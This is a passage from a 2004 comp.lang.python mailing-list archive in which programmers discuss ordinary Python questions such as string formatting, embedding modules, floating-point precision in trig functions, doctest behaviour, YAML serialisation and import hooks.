random-text generator. Can anyone suggest something on CPAN useful for > such? You can do this by analyzing a sample text at a higher level. Instead of generating text from the frequency of single letters, you generate using the frequencies of 2, 3, or 4-letter sequences. You analyze a large text so you have a database of frequencies. When generating each new character you look at the frequences of the letters given that the 3 previous letters are 'the'. The possibilities are a space, 'r' (their), 'y' (they), and some others. Overall it will generate words and even phrases that seem to almost make sense. It is neat stuff. Carl From aleaxit at yahoo.com Tue Sep 7 06:02:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 12:02:16 +0200 Subject: Question: tools for business apps development References: <4139C317.2010306@cs.com> <413CEC6F.505@cs.com> Message-ID: <1gjqrxz.1vy5u911p18wq3N%aleaxit@yahoo.com> Robert M. Emmons wrote: > There is a book about this titled "Rapid Application Development with > Mozilla" that talks all about this. It is available free on the net > (sorry can't remember the URL, or in print from the bookstore). I don't > know if this discusses python or not, but it certain discusses XUL and > JavaScript. I googled. found and downloaded the book, and had a quick check -- alas, the "discussion" of Python in the book is limited to: """ Embedded programmers can use languages such as Perl and Python to drive all the windows that an application based on the Mozilla Platform creates. Such uses are not documented here. """ While it definitely looks like a worthwhile book on XUL, anybody wanting to drive XUL from anything except Java or Javascript should, I guess, look elsewhere (perhaps in _addition_ to said book). I suspect the easiest way to drive XUL from Python based on this book might be to use Jython and XUL's Java interfaces (I haven't checked in detail, but offhand it looks like the book does document XUL's Java interfaces). Alex From aleaxit at yahoo.com Fri Sep 10 18:17:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 00:17:27 +0200 Subject: Building Very Large Records References: Message-ID: <1gjxa38.eon8zqlb401sN%aleaxit@yahoo.com> Greg Lindstrom wrote: > Hello- > > I am working on a routine to pull information from an Oracle database and > format it into fixed-length records. My problem is that the record layout > is quite long (over 500 bytes) and contains dozens of fields. How would > *you* go about building such a beast? I know that using the += operator is > a bad idea, as it creates a new copy of the string each time. How about the > struct.pack() method? A very big '%-12.12s%-50.50s.......' statement? Yep, except that what you're quoting ain't a statement, just a string. But put a % after it and the right tuple after that, and you''re going somewhere!-) Alex From aleaxit at yahoo.com Sun Sep 19 14:31:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 20:31:49 +0200 Subject: Importing a String as a Module References: Message-ID: <1gkdnh4.kcmxzn1rm9zggN%aleaxit@yahoo.com> bmatt wrote: > Hello All, > > I would like to import an internal string as a module into the python > interpreter. Unfortunately it looks like all of the PyImport functions > only take a module name and load the module from the .py file. Is > there a way to import a module from a string (similar to the way the > PyRun_String function works)? I have tried to use the PyRun_String > function and then use PyImport_AddModule but it doesn't look like the > things defined in the string are in the module dictionary. Make an empty module first (PyImport_AddModule shd be OK), get its dictionary, run the string with that dictionary as its globals and locals. Alex From holbertr at dma.org Thu Sep 30 16:57:54 2004 From: holbertr at dma.org (Rick Holbert) Date: Thu, 30 Sep 2004 16:57:54 -0400 Subject: Reading a text file backwards References: Message-ID: Jay, Try this: myfile = open('myfile.txt', 'r') mylines = myfile.readlines() myfile.close() mylines.reverse() Rick Jay wrote: > I have a very large text file (being read by a CGI script on a web > server), and I get memory errors when I try to read the whole file into a > list of strings. The problem is, I want to read the file backwards, > starting with the last line. > > Previously, I did: > > myfile = open('myfile.txt', 'r') > mylines = myfile.readlines() > myfile.close() > for line in range(len(mylines)-1, -1, -1): > # do something with mylines[line] > > This, however caused a "MemoryError," so I want to do something like > > myfile = open('myfile.txt', 'r') > for line in myfile: > # do something with line > myfile.close() > > Only, I want to iterate backwards, starting with the last line of the > file. Can anybody suggest a simple way of doing this? Do I need to jump > around with myfile.seek() and use myfile.readline() ? From anna at aleax.it Tue Sep 7 16:04:57 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Tue, 07 Sep 2004 20:04:57 GMT Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Carlos Ribeiro wrote: > ... > >>first time -- it's obvious once you see it, but still, for some >>reason, the list comprehension was more intuitive for me. I don't know >>about the rest of Pythoneers, specially newbies, but understanding >>*why* did I came up with my version may help to illustrate the mental >>model surrounding iterators. > > > I dunno either, but, FWIW, my wife Anna also had the same issue -- she > thought list comprehensions were always the right way to make lists. > > It may have to do with the issue that list comprehension are a neat > GENERAL tool, while calling list, like calling, say, map or filter, may > be concise, clear and efficient but only works in specific cases. Just > a guess on my part, but it seems a reasonable hypothesis. Anna, do you > have any opinion in the matter? I *guess* I had thought of it, if at all, as something similar to int('2') or float(2). They're useful, but only in very limited specific cases. I would have expected list('cat') to force a list out of the string. Just like int() or float() and, well, that's it. That's as far as I would have thought of it as being useful... Seeing you use it the other way, was a surprise. Anna From pf_moore at yahoo.co.uk Mon Sep 20 17:02:49 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Mon, 20 Sep 2004 22:02:49 +0100 Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: "Chris S." writes: [large snip of points already covered far better than I could by Andrew Dalke...] > Fair enough. I didn't mean to imply that the current YAML > implementations were drop-in replacements for Pickle, only that the > concept of YAML deserves more attention. I'd say that the "concept" of YAML (in isolation) isn't particularly clear. I certainly can't discern from the documentation on the website what it is. > Well, if the concept of serialization is indeed inherently insecure, > what could they possibly do? I dunno. First, is serialisation inherently insecure? If YAML is all about serialisation, then one of the key points in its documentation should be either (a) "YAML focuses on providing a secure serialisation format" or (b) "serialisation is inherently insecure, for the following reasons - X, Y, Z - and so YAML cannot provide secure serialisation. These are issues you have to consider when using YAML..." > In order for YAML to directly address security, it would have to > concern itself with the "meaning" of the data being serialized, > which seems outside the scope of YAML's purpose. How do you work that out? I can't find a concrete enough statement of YAML's purpose to allow me to make a categorical statement like that. > Serialization security seems generally assigned as a responsibility > of the user, who is usually in the best position to gage their > data's effects. The best a serialization format can do is ensure > data reconstruction within the bounds described by the user. As I say, most of this should be in the YAML documentation. I'll be charitable and assume that it's just something that hasn't been written up yet, but that section in the spec that I quoted looks pretty explicit in its vagueness :-) Paul -- It was a machine, and as such only understood one thing. Being clobbered with big hammers was something it could relate to. -- Tom Holt From mauro at novell.com Tue Sep 21 19:32:35 2004 From: mauro at novell.com (Mauro Parra Miranda) Date: Tue, 21 Sep 2004 18:32:35 -0500 Subject: shared memory (shmmodule) Message-ID: <1095809555.2920.8.camel@local56.mex.ximian.com> Hello! I'm trying to compile python with support for shared memory, but I cannot get there yet. I cannot find shm module, many pages point to: http://gigue.peabody.jhu.edu/~mdboom/omi/source/shm_source/ but i cannot find it (the site appears closed). Any idea or suggestion? TIA, Mauro From dlrush-nospam at gmail.com Wed Sep 29 19:22:45 2004 From: dlrush-nospam at gmail.com (D. Rush) Date: Wed, 29 Sep 2004 16:22:45 -0700 Subject: ImageWin Dib draw usage? References: Message-ID: You can find some example of ImageWin usage gere: http://www.koders.com/?s=ImageWin&_%3Ala=*&_%3Ali=* And of course the source - if that's helpful: http://www.koders.com/python/fidF6C509A8541B869587B2FA42EFE57E5FA417147B.aspx?s=ImageWin Alsom "Ilariu Raducan" wrote in message news:eDjKa.19934$pK2.29161 at news.indigo.ie... > > Hi All, > > Does anybody has experience working with ImageWin.Dib.draw? > I tried to use it to draw in a window in the rectangle return from > GetClipBox(). > I use the same rectangle for source and destination and the result is a > bit strange: a different region from the one expected is displayed. > I have looked at the PIL source code. The windows API function used > there in StretchBlt. Should that be StretchDIBits? > > Regards, > Lale > From godoy at ieee.org Wed Sep 15 21:43:02 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 22:43:02 -0300 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <4148E78B.100@zephyrfalcon.org> Message-ID: Hans Nowak writes: > Jorge Godoy wrote: > >> If PyGUI will have native widgets for Windows as it does for Mac, I hope >> it becomes standard. Its API seemed cleaner than wxPython's (and with >> one less emulation layer than wax, as pointed out on this >> thread...). > > I didn't see the post that pointed this out... Anyway, this is really only a I may be mixing threads. Today is being a tiresome day... and it seems that it won't end by midnight. :-( > problem in theory. I haven't done any benchmarks, but Wax doesn't feel slower > than "pure" wxPython, and (if I may say so myself) is a lot easier to program > in. (Developer time vs program execution time and all that... :-) I should really find some time to give it a try... -- Godoy. From jeff at ccvcorp.com Thu Sep 2 15:54:32 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 02 Sep 2004 12:54:32 -0700 Subject: Are decorators really that different from metaclasses... In-Reply-To: References: <412D9F1E.6000809@yahoo.it> <10jcsuh7k4bfl41@corp.supernews.com> Message-ID: <10jeuh7o69surc0@corp.supernews.com> Arthur wrote: >"Jeff Shannon" wrote in message >news:10jcsuh7k4bfl41 at corp.supernews.com... > > >>(I'm sure that you'll argue that the presence of those "magic" variables >>is enough distinction between the two radically-different blocks of >>code; I'm also pretty confident that very few people will agree with >>you, and that nobody with a reasonable understanding of Python internals >>will be among those few people.) >> >> > >It seems to me if the defining distinction is a different assignment >operator rather than magic associated with naming, then much of objections I >am hearing to what Paul is generally suggesting seems to fall away. > >I like what Paul Rubin suggested for decorators: > >:: > >It seemed to me that many folks, and certainly including some sophisticated >users - witness the decorator wiki - felt more than comfortable with some >declarative/definitional syntax within the function body. The discussion >was stalled mostly by the realization that Guido had definitively ruled it >out, not on the basis that there was general concensus that the approach had >no appeal - intuitive and otherwise. > > I agree with what Paul Rubin says there, as well. However, I don't believe that he was considering syntax that *looks* like otherwise-ordinary assignment to "magic" names, which are indicated only by naming convention. Docstrings don't look like part of the function body, because they don't look like otherwise-normal statements. Suitably-indicated decorators (even @decorator) inside a def wouldn't (IMO) look like part of the function body, because they too would not look like otherwise-normal statements. On the other hand, this "magic" proposal of Mr. Morrow's *does* look like otherwise-normal statements -- the only difference is the use of a particular naming convention. And to make matters worse, in other contexts the assignment to identifiers following that same naming convention would have *completely* different semantics (i.e., the current semantics). What we have are two orthogonal elements ( __*__ naming conventions and the assignment operator) which currently have very well-defined and predictable meanings. Paul's proposal would create a case where, *if* you use those two elements *together*, in a *particular* syntactic position, then suddenly their meaning is radically changed -- but only in that particular position. That kind of special-case behavior is a major violation of the principle of least surprise, and is virtually guaranteed to lead people to all sorts of confusion -- meaning bugs, wasted time figuring out what *should* happen, etc, etc. Jeff Shannon Technician/Programmer Credit International From jeffbarish at starband.net Wed Sep 1 12:44:31 2004 From: jeffbarish at starband.net (Jeffrey Barish) Date: Wed, 01 Sep 2004 10:44:31 -0600 Subject: Beeping the console References: Message-ID: Peter Kleiweg wrote: > Jeffrey Barish schreef: > >> What is the easiest way to beep the console from a Python program >> (i.e., to do the same thing as echo -e \a)? > > import sys > sys.stdout.write('\a') > > or if you don't mind a newline: > > print '\a' > > > I tried this solution before posting my question, but I tried it in the Idle Python shell. When I run the command there it outputs \a. Can anyone explain why? I should have tested it from a Python prompt in a normal window, but I wasn't aware that Idle sometimes gives a different response. BTW, it's worth noting that in my program this solution works better with sys.stdout.flush() immediately after the write. Thanks to everyone for the responses. -- Jeffrey Barish From tim.peters at gmail.com Tue Sep 21 02:52:56 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 21 Sep 2004 02:52:56 -0400 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? In-Reply-To: <20040921000356.GA2641@unpythonic.net> References: <20040921000356.GA2641@unpythonic.net> Message-ID: <1f7befae040920235213950f17@mail.gmail.com> [Jeff Epler] > ... > acos(cos(d)) for small d gives fairly large errors on my system: > >>> d = .999999 - .9999977 > >>> acos(cos(d)), d > (1.2999928800133351e-06, > 1.2999999999818712e-06) > >>> # ^ First difference here > a half dozen correct digits isn't great, but it's all my platform's trig > functions seem to give me. This is an instance of a general phenomenon. Compute cos(acos(cos(d))), and compare it to cos(d). On my box: >>> cos(acos(cos(d))) == cos(d) True >>> But I also have: >>> d 1.2999999999818712e-006 >>> acos(cos(d)) 1.2999928800130605e-006 >>> But as shown by the first line, cos() applied to either of those computes exactly the same result -- to machine precision, d and acos(cos(d)) have equal claim to being "the correct" inverse of cos(d). This isn't the fault of sloppy trig functions, it's an unavoidable consequence of using finite precision arithmetic to evaluate a function *near* a local minimum or local maximum. cos() has a local maximum at cos(0), and d is near 0. For any reasonable function f evaluated at point a such that f(a) is a local min or max, the first derivative of f at a is 0. Therefore f(a+h) ~= f(a) + h**2*f''(a)/2 (the first-order term of the Taylor expansion around a vanishes). That in turn roughly means that if you change any of the bits in the least significant half of a, it makes no visible difference to the computed value of f(a). That's why any numerical analysis text will tell you that you can't expect to compute the value at which a function achieves a local min or max to better than about half the bits of precision in your floating-point format. Computing inverses near such peaks/valleys suffers the same problem, for the same reason: while the mathematical cos() is 1-to-1 near 0, the machine-precision cos() is many-to-1 near 0, because cos() is very flat near 0 (== the first derivative is 0 at cos(0)). And since machine-precision cos() is many-to-1 near 0, machine-precision acos() near cos(d) for a small |d| can pick many results e for which cos(e) is exactly equal to cos(d) to machine precision. Note that your box gave a different acos(cos(d)) than my box did. Nevertheless, >>> cos(d) == cos(acos(cos(d))) == cos(1.2999928800133351e-06) True >>> on my box, where the far right is the answer your box gave for acos(cos(d)). There are simply a ton of floats that have the same machine-precision cosine. From PeterAbel at gmx.net Wed Sep 15 16:06:07 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 15 Sep 2004 13:06:07 -0700 Subject: Random Instance generation References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: <21064255.0409151206.28485d0e@posting.google.com> balaji at email.arizona.edu (Balaji) wrote in message news:<494182a9.0409141247.608d365f at posting.google.com>... > Hello eveybody.... > > Suppose there is a class A: > > I want to generate say 100 random instance of it... > > How can I do that.... > > I want the instance name to be like a1, a2, a3... > > Any ideas..... > > Cheers > > Balaji >>> class A: ... pass ... >>> filter(lambda i:globals().__setitem__('a%d'%i,A()),range(5)) [] >>> a0 <__main__.A instance at 0x00DD8418> >>> a1 <__main__.A instance at 0x00DDB748> >>> a2 <__main__.A instance at 0x00C0DD20> >>> a3 <__main__.A instance at 0x00C0DD50> >>> a4 <__main__.A instance at 0x00DDB1E0> >>> Instead of globals() you can take any dictionary you want. Instead of filter you can take list comprehension. Instead of dictionary you can take a list as container. Instead of what I posted above you can do what ohters posted. Pyhton lets you do it in any way of your gusto. Regards Peter From tim.peters at gmail.com Thu Sep 9 19:39:39 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 9 Sep 2004 19:39:39 -0400 Subject: Which one to use: generate_tokens or tokenize? In-Reply-To: References: Message-ID: <1f7befae040909163920bf9520@mail.gmail.com> [Andr? Roberge] > According to the Python documentation: > > 18.5 tokenize -- Tokenizer for Python source > ... > The primary entry point is a generator: > generate_tokens(readline) > ... > An older entry point is retained for backward compatibility: > tokenize(readline[, tokeneater]) > ==== > Does this mean that one should preferably use generate_tokens? Yes. > If so, what are the advantages? Be adventurous: try them both. You'll figure it out quickly. If you have to endure "an explanation" first, read PEP 255, where tokenize.tokenize was used as an example motivating the desirability of introducing generators. From jerf at jerf.org Wed Sep 1 01:34:25 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 01 Sep 2004 05:34:25 GMT Subject: Testing automatically on import References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1ry8k0d2az.fsf@rovereto.ifi.uio.no> <10iv0kid2ig9ka6@corp.supernews.com> <1rpt5ccbso.fsf@rovereto.ifi.uio.no> <10ivpk9inpnh65@corp.supernews.com> <1rd61bd26k.fsf@rovereto.ifi.uio.no> <1gj892g.1hlc8ar1po78b6N%aleaxit@yahoo.com> <1gja5sf.vbe56knfvu9sN%aleaxit@yahoo.com> Message-ID: On Mon, 30 Aug 2004 09:05:12 +0200, Alex Martelli wrote: >> I'm not *quite* familiar with the import hook stuff to knock this off >> right away. I tried prototyping it but got stuck on how to determine if a >> Python file already has an up-to-date .pyc file. (Although I guess there >> may be external dependencies... well in the interest of keeping it simple, >> deal with that later.) > > Hmmm, I could be wrong, but I think you have to check timestamps and > 'magic' signatures yourself. Pity, because imp.load_module must also do > that, but I don't think it makes this logic available separately. > Still, I believe Demo/imputil/importers.py has all the code you need. I've knocked up a prototype which can be downloaded at http://www.jerf.org/importer.py . It unzips into a directory name "importer", and contains a module "testOnImport". To see it in action, make that your current directory, start up Python, and type: >>> import testOnImport >>> testOnImport.runOnUserCode.append(testOnImport.UnitTestPattern('%s/tests/%sTest.py')) >>> import t1 You should then see (between the lines): ---------- This is the validate code in t1.py. If you raise an TestOnImportError here, it will stop the import. ./tests/t1Test.py F ====================================================================== FAIL: testSchmoo (t1Test.Test1) ---------------------------------------------------------------------- Traceback (most recent call last): File "./tests/t1Test.py", line 5, in testSchmoo self.assert_(0) File "/usr/lib/python2.3/unittest.py", line 278, in failUnless if not expr: raise self.failureException, msg AssertionError ---------------------------------------------------------------------- Ran 1 test in 0.005s FAILED (failures=1) Traceback (most recent call last): File "", line 1, in ? File "/usr/lib/python2.3/imputil.py", line 103, in _import_hook top_module = self._import_top_module(parts[0]) File "/usr/lib/python2.3/imputil.py", line 189, in _import_top_module module = item.import_top(name) File "/usr/lib/python2.3/imputil.py", line 216, in import_top return self._import_one(None, name, name) File "/usr/lib/python2.3/imputil.py", line 267, in _import_one result = self.get_code(parent, modname, fqname) File "testOnImport.py", line 104, in get_code func(module) File "testOnImport.py", line 183, in permissive) File "testOnImport.py", line 169, in UnitTestFromModule RunUnitTests(unitTestFile) File "testOnImport.py", line 142, in RunUnitTests raise TestOnImportError("Unit tests failed.") testOnImport.TestOnImportError: Unit tests failed. ----------- The first line is from a __validate__ function in the t1 module. The second line you typed to start the process told the import hook to check for my style of test naming, and it looked for and found tests/t1Test.py. (You should be able to change that string to "%s/tests/test_%s.py" for your style.) This is poorly tested as it is late for me (come to think of it I haven't tested the "permissive" flag), and I know there are bugs, but I don't know how to fix some of them. (In particular, I don't know what to do with "import pychecker.checker", which fails.) Please review brutally. If we can work out a few more bugs, and the issue of whether we want to prevent/delete .pyc files if the tests fail, I'll take the next step of trying to integrate this into a real project. (Of course others are welcome to as well, just expressing my willingness.) More info is in the testOnImport.py file, including my known bug/issue list. Thanks for the idea, this could turn out useful. From fakeaddress at nowhere.org Sun Sep 5 16:17:39 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Sun, 05 Sep 2004 20:17:39 GMT Subject: Tuple question In-Reply-To: <1094359182.57429@yasure> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: Donn Cave wrote: > Maybe the problem is that tuples have too many features already. > It's sort of silly that they're indexed by number, and if that > weren't allowed, we would find fewer people trying to make lists > of them. Plus lists have the mis-feature that we can mix types. The talk of how lists and tuples are supposed to be used suggests that we want lists of any type, but only on type in each list. Tuples should be indexed by statically know values. We should treat each kind of tuple as a distinct type, that we should not mix in a list, so should not be able to justify [(5, 4.23), ("Hi", [])] as a list of one type, simply because the type is 'tuple'. Since the structure of tuples would be statically known, we can dump the (item,) notation and just make any item the same thing as the one-tuple holding that item. Alas, that's ML, not Python. Were that Python's designers' intent, why isn't it part of Python's design? Why would we want to live within the confines of static typing, but without the safety and efficiency advantages of a type-checking compiler? In Python, tuples are immutable, hashable lists. Deal with it. -- --Bryan From jcarter at johmar.engr.sgi.com Wed Sep 22 14:00:01 2004 From: jcarter at johmar.engr.sgi.com (Jack Carter) Date: Wed, 22 Sep 2004 11:00:01 -0700 (PDT) Subject: namespace/dictionary quandry In-Reply-To: aleaxit@yahoo.com (Alex Martelli) "Re: namespace/dictionary quandry" (Sep 22, 7:18pm) References: <1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> Message-ID: <10409221100.ZM977769@johmar.engr.sgi.com> On Sep 22, 7:18pm, Alex Martelli wrote: > Subject: Re: namespace/dictionary quandry > Jack Carter wrote: > ... > > The solution it would seem would be to do the evaluation > > later within the called function. That way I could assume > > that all failed eval()'ed names are literals meant for my > > command and not a python variable/name. > > > > If this makes sense, the problem I need to solve is how to > > deliver the correct namespace dictionary to the called function > > so I can invoke eval with it. > > > > Does this make sense? > > Not very, but then I didn't follow the previous LONG posts on this Alex, The length was really taken up with a testcase to make the problem less hand wavey. > thread, so I'll just answer this specific question and hope it helps. > I'll assume the known variable-names are in some dictionary (such as a > locals() or globals() or vars(something)): > > class WeirdNamespace: > def __init__(self, d): self.d = d > def __getitem__(self, n): return self.d.get(n,repr(n)) So, how and or where does this fit in with my example? Does both the call to the function where I want to do the eval() and self.push(line) command have to be in the same namespace and or file for this to work? > > voila: if n is a key in dict d, this returns the corresponding value, > otherwise it returns n suitably quoted. Just pass to eval a > WeirdNamespace(d) rather than the bare d. > > It appears to me your user interface is courting trouble: if I mispell > 'variablename' as 'varaiblename' I end up creating a file I didn't mean > to rather than getting a clean error about unknown variable names. But > I'll assume you know your users better than I do and that they _do_ > really desire with all their hearts this unholy confusion between > variables and constants... This is driven by customers that who want both a type-in command language and a variant using all the power of python for test scripting purposes. If you misspell something and there is the possibility of it screwing something up that we can't tell either in the parser or downstream in the backend of the tool, well that's life in the big city. Thanks, Jack From jeff at ccvcorp.com Tue Sep 28 18:25:32 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 28 Sep 2004 15:25:32 -0700 Subject: os.system vs. Py2Exe In-Reply-To: References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> <10lji3nso28vge5@corp.supernews.com> Message-ID: <10ljp38kdeuoc08@corp.supernews.com> Peter Hansen wrote: > Jeff Shannon wrote: > >> Remember, os.system() is roughly equivalent to typing the argument at >> a command line. Does typing "myfile.txt" at a commandline prompt >> open that file in a text editor? (Hint -- it shouldn't, under normal >> circumstances.) > > > Unfortunately for your theory, on XP typing just the name of the > file (at least with a .txt file) does indeed open it in the associated > application. Why, so it does... and under Win2K, as well. > I suspect the "other" machine he is using is not an XP machine, and > thus not suffering from such unexpected behaviour. Thanks, Mickysoft... Yes, if the "other" machine is Win9x/ME (or, I believe, NT4), using the .txt filename as a command will result in an error. As it should, also, under *nix (and probably MacOS) as well, unless I'm even more confused than I'd thought. ;) This does, at least, do away with the need to presume some sort of screwy settings on the O.P.'s machine -- said screwy settings being provided by default from Microsoft. ;) Jeff Shannon Technician/Programmer Credit International From jjl at pobox.com Mon Sep 27 17:41:09 2004 From: jjl at pobox.com (John J. Lee) Date: 27 Sep 2004 22:41:09 +0100 Subject: OWA (Outlook Web Access) with urllib2 References: <878yaya3m1.fsf@pobox.com> Message-ID: <87r7onwft6.fsf@pobox.com> pascal.parent at free.fr (Pascal) writes: > This is the Python ~ IIS dialogue (with Ethereal / Follow TCP stream): > > GET /exchange/ HTTP/1.0 > Host: owa.mydomain > User-agent: Python-urllib/2.1 > > HTTP/1.1 401 Acc?s refus? > Server: Microsoft-IIS/5.0 > Date: Mon, 27 Sep 2004 10:44:28 GMT > WWW-Authenticate: Negotiate > WWW-Authenticate: NTLM > WWW-Authenticate: Basic realm="owa.mydomain" > Content-Length: 21 > Content-Type: text/html > > Urllib2 didn't try to send authentification after http 401 error. Well, there's your problem <0.5 wink>. Seriously: 1. Test your code with Python 2.4a3. Quite possible that this is a fixed bug. 2. If that doesn't work, debug urllib2. HTTPPasswordMgr.find_user_password() looks a good place to stick some print statements. Also, the method of AbstractBasicAuthHandler. It's only a few lines of code! John From aahz at pythoncraft.com Fri Sep 17 15:44:26 2004 From: aahz at pythoncraft.com (Aahz) Date: 17 Sep 2004 15:44:26 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com> Message-ID: In article , Tim Peters wrote: > >Darn. The new doctest ELLIPSIS directive is a good long-term approach >to this, but you're right that it doesn't help you today. So, in the >*next* Python 2.4 prerelease, there will be a new >IGNORE_EXCEPTION_DETAIL directive. Then, e.g., this doctest passes >under 2.3.4 and 2.2.3, and will also pass in 2.4: > >>>> (1, 2)[3] = 'moo' #doctest: +IGNORE_EXCEPTION_DETAIL >Traceback (most recent call last): > File "", line 1, in ? >TypeError: object doesn't support item assignment > >Since doctest directives didn't exist before 2.4, earlier Pythons view >them as comments, and insist on exact match. 2.4 will still insist on >seeing a TypeError, but won't care that "doesn't" has changed to "does >not" (or, for that matter, won't care if the actual detail is >"Congratulations, Anna and Alex!"). Huh. The advice I've always seen is, "Never rely on the text of an exception -- it can change even in bugfix releases." -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From jeffrey at fro.man Wed Sep 8 20:03:49 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Wed, 08 Sep 2004 17:03:49 -0700 Subject: very odd, random window dumps References: Message-ID: <10jv7f8ns1j4id3@corp.supernews.com> Peter Kleiweg wrote: > Running small Python scripts, now and again a window dump is > created, and saved as the module name without the extension. > This happens on Linux. The dumped file is a PostScript file with > the image of one Window that was active at the moment > (completely unrelated to the Python application), and has a > header comment that says it was created by ImageMagick. Magic, > indeed. The file has the somewhat unusual access bits > -rwxr--r--, but normal user and group. This is probably the result of accidentally typing "import somemodule" on the Linux command line before invoking the python interpreter. "import" is an ImageMagick command that takes a window capture. i.e.: $ import myprog $ python >>> import myprog ... Jeffrey From mark at prothon.org Tue Sep 7 03:24:09 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 7 Sep 2004 00:24:09 -0700 Subject: Anyone know anything named FastL? (was: Anyone know anything named DX? (was Re: Announcing PyCs)) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <17dl0i9t1h5xz$.1mt42zh2g37cq$.dlg@40tude.net> On Mon, 06 Sep 2004 15:45:01 -0700, Robert Kern wrote: >> Does anyone know of any conflicts for DX? Any existing software projects? >> Any languages? I know all about all the ham radio stuff but I assume that >> is a non-issue. > > There's IBM's Data Explorer (DX) although its most recent incarnation > has been released as an open source project under the name OpenDX. OK, let me try again. Does anyone know of the name FastL being used anywhere for any software project or language? From http Wed Sep 1 16:40:23 2004 From: http (Paul Rubin) Date: 01 Sep 2004 13:40:23 -0700 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: <7xn0097mfc.fsf@ruckus.brouhaha.com> alikakakhel3 at hotmail.com (Ali) writes: > >>> x = 5.07e-25 > >>> x = long(x) > >>> print x > 0L > > Um... I was under the impresion that long numbers had very very long > precision. But, it seems that in this case it rounded it to zero :( Longs are arbitrary precision integers. From tuanglen at hotmail.com Wed Sep 22 17:44:47 2004 From: tuanglen at hotmail.com (Tuang) Date: 22 Sep 2004 14:44:47 -0700 Subject: Python in a Nutshell for Python 2.4 Message-ID: Does anyone (esp. Alex, if you're listening) know if there is an update of Python in a Nutshell coming for Python 2.4? From andre.roberge at ns.sympatico.ca Tue Sep 7 22:33:57 2004 From: andre.roberge at ns.sympatico.ca (Andr? Roberge) Date: 7 Sep 2004 19:33:57 -0700 Subject: i18n and GUI under Windows References: Message-ID: Fred Pacquier wrote in message news:... > > Well, Andr?, if you really want *simple* (as in *simplistic*, *simple- > minded* or *can't-get-no-simpler* :) I have something that does just that > (english/french under wxPython)... ..... > Then it's not too hard to add, say, a trans['de'] dict to l10n.py and > change the locale test above to use it. If automatic detection is not > adequate, then the GUI needs to provide a widget or dialog for the user > to set the desired language... Thanks for the suggestion. Actually I will NOT use the automatic detection - and I would encourage others to do the same. The reason is as follows: Suppose that a French user is fairly fluent in Spanish, and very little in English. Her computer's locale indicates that French should be the default. The application she chose is available both with a Spanish and an English interface - but not a French one. The automatic detection scheme will chose English whereas, as she had known it was available, she would have preferred to use the Spanish one. But that can't be known by a program using the locale test. Anyway, I'll try something along the lines of what is in the wxPython wiki (suggested by another reader). Thanks to all those who helped. Andr? From ville at spammers.com Thu Sep 16 05:06:29 2004 From: ville at spammers.com (Ville Vainio) Date: 16 Sep 2004 12:06:29 +0300 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: >>>>> "Peter" == Peter Otten <__peter__ at web.de> writes: Peter> Let's plan on doing the following. If in the next 7 days Peter> there's no indication that some group of users wants to Peter> rally for a different character, the decision to keep @ is Peter> made final on Sept 23. To change Are we going to have another vote? Do people still care enough to count? If so, here's my vote for '|' :-). -- Ville Vainio http://tinyurl.com/2prnb From aleaxit at yahoo.com Wed Sep 22 15:17:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 21:17:01 +0200 Subject: namespace/dictionary quandry References: <1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> Message-ID: <1gkj9gz.1nac34z15wtqohN%aleaxit@yahoo.com> Jack Carter wrote: ... > > > later within the called function. That way I could assume > > > that all failed eval()'ed names are literals meant for my > > > command and not a python variable/name. ... > The length was really taken up with a testcase to make > the problem less hand wavey. If you can't make a shorter example, I'm not gonna make time to study that one, sorry. > > I'll assume the known variable-names are in some dictionary (such as a > > locals() or globals() or vars(something)): > > > > class WeirdNamespace: > > def __init__(self, d): 